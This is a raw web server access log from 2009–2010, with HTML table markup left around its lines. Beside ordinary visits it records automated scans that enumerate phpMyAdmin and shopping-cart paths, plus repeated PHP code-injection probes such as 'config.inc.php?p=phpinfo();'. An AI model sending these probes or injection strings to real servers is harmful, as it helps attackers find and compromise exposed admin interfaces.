210.83.70.250 - - [09/Jan/2010:18:51:20 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
210.83.70.250 - - [09/Jan/2010:18:51:17 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [09/Jan/2010:13:53:07 -0800] "GET /global_files/css/site.css HTTP/1.0" 200 229

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [09/Jan/2010:13:53:05 -0800] "GET / HTTP/1.0" 200 1018

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [09/Jan/2010:13:53:04 -0800] "GET /robots.txt HTTP/1.0" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:46:57 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:45:59 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:45:46 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:44:36 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:43:20 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:42:13 -0800] "GET / HTTP/1.1" 200 1014

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:27:21 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:14:05 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:13:15 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:08:15 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:06:53 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [09/Jan/2010:05:03:06 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:47 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:46 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:46 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:45 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:45 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:44 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:44 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:43 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:43 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.18.10.2 - - [09/Jan/2010:04:24:42 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
116.55.226.131 - - [08/Jan/2010:17:06:26 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:17 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:16 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:15 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:14 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:14 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:13 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:12 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:12 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:11 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:10 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
::1 - - [07/Jan/2010:18:52:10 -0800] "GET / HTTP/1.1" 200 978

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:58 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:57 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:57 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:57 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:57 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
174.129.162.179 - - [06/Jan/2010:05:37:57 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
217.66.216.153 - - [05/Jan/2010:05:57:06 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:50 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:49 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:49 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:49 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:49 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:48 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:48 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:47 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:47 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:15:09:46 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.160.158.251 - - [04/Jan/2010:10:55:30 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:43 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:42 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:42 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:42 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:42 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:41 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:41 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:40 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:39 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.38.64.104 - - [04/Jan/2010:08:08:39 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.51.5.2 - - [03/Jan/2010:17:45:55 -0800] "GET /user/soapCaller.bs HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:55 -0800] "GET /store/install.txt HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:55 -0800] "GET /cart/install.txt HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:54 -0800] "GET /boutique/install.txt HTTP/1.1" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:54 -0800] "GET /catalog/install.txt HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:53 -0800] "GET /shop2/install.txt HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:53 -0800] "GET /zcart/install.txt HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:52 -0800] "GET /butik/install.txt HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:52 -0800] "GET /shop/install.txt HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:51 -0800] "GET /zen/install.txt HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:51 -0800] "GET /zen-cart/install.txt HTTP/1.1" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:50 -0800] "GET /zencart/install.txt HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:50 -0800] "GET /cart/install.txt HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:49 -0800] "GET /install.txt HTTP/1.1" 404 209

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
200.234.200.32 - - [03/Jan/2010:07:19:49 -0800] "GET HTTP/1.1 HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
110.13.42.8 - - [03/Jan/2010:00:35:41 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.124.194.104 - - [02/Jan/2010:19:48:15 -0800] "GET /roundcube/skins/default/images/roundcube_logo.png HTTP/1.1" 404 247

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
74.124.194.104 - - [02/Jan/2010:19:48:11 -0800] "GET /thisdoesnotexistahaha.php HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
203.200.180.74 - - [02/Jan/2010:12:05:50 -0800] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [02/Jan/2010:10:48:21 -0800] "GET /global_files/css/site.css HTTP/1.0" 200 229

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [02/Jan/2010:10:48:19 -0800] "GET / HTTP/1.0" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
67.195.111.170 - - [02/Jan/2010:10:48:19 -0800] "GET /robots.txt HTTP/1.0" 200 25

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.34.181.45 - - [02/Jan/2010:08:04:49 -0800] "GET http://news.slashdot.org/ok.txt HTTP/1.0" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
71.33.109.165 - - [01/Jan/2010:12:32:22 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
207.190.222.70 - - [01/Jan/2010:06:40:52 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:19:00:54 -0800] "GET /phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:19:00:53 -0800] "GET /phpMyAdmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:37 -0800] "GET /mysql/index.php HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:37 -0800] "GET /admin/phpMyAdmin-2.6.3-pl1/index.php HTTP/1.1" 404 234

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:36 -0800] "GET /admin/webdb/index.php HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:36 -0800] "GET /admin/mysqladmin/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:36 -0800] "GET /phpMyAdmin-2.2.6/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:36 -0800] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:35 -0800] "GET /phpMyAdmin-2.5.6/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:35 -0800] "GET /phpMyAdmin-2.6.0-pl1/index.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:35 -0800] "GET /admin/pMA/index.php HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:35 -0800] "GET /phpMyAdmin-2.6.3-pl1/index.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:34 -0800] "GET /php-my-admin/index.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:34 -0800] "GET /phpMyAdmin-2.6.3-rc1/index.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:34 -0800] "GET /admin/datenbank/index.php HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:34 -0800] "GET /admin/phpMyAdmin-2.6.3/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:33 -0800] "GET /admin/php-my-admin/index.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:33 -0800] "GET /admin/db/index.php HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:33 -0800] "GET /admin/phpMyAdmin-2.6.0-pl1/index.php HTTP/1.1" 404 234

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:33 -0800] "GET /webadmin/index.php HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:32 -0800] "GET /admin/sqlweb/index.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:32 -0800] "GET /admin/padmin/index.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:32 -0800] "GET /phpMyAdmin-2.6.2-rc1/index.php HTTP/1.1" 404 228

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:32 -0800] "GET /padmin/index.php HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:32 -0800] "GET /admin/phpMyAdmin-2.6.2-rc1/index.php HTTP/1.1" 404 234

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:31 -0800] "GET /database/index.php HTTP/1.1" 404 216

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:31 -0800] "GET /admin/index.php HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:31 -0800] "GET /db/index.php HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:30 -0800] "GET /admin/phpMyAdmin-2.5.6/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:30 -0800] "GET /admin/phpMyAdmin-2.6.0/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:30 -0800] "GET /datenbank/index.php HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:30 -0800] "GET /myadmin/index.php HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:30 -0800] "GET /mysqladmin/index.php HTTP/1.1" 404 218

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:29 -0800] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:29 -0800] "GET /admin/phpMyAdmin-2.6.3-rc1/index.php HTTP/1.1" 404 234

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:29 -0800] "GET /phpMyAdmin-2.5.4/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:29 -0800] "GET /admin/phpMyAdmin-2.2.3/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:28 -0800] "GET /admin/myadmin/index.php HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:28 -0800] "GET /admin/sqladmin/index.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:28 -0800] "GET /websql/index.php HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:28 -0800] "GET /admin/phpMyAdmin-2.5.4/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:27 -0800] "GET /admin/sysadmin/index.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:27 -0800] "GET /admin/mysql-admin/index.php HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:26 -0800] "GET /phpMyAdmin/index.php HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
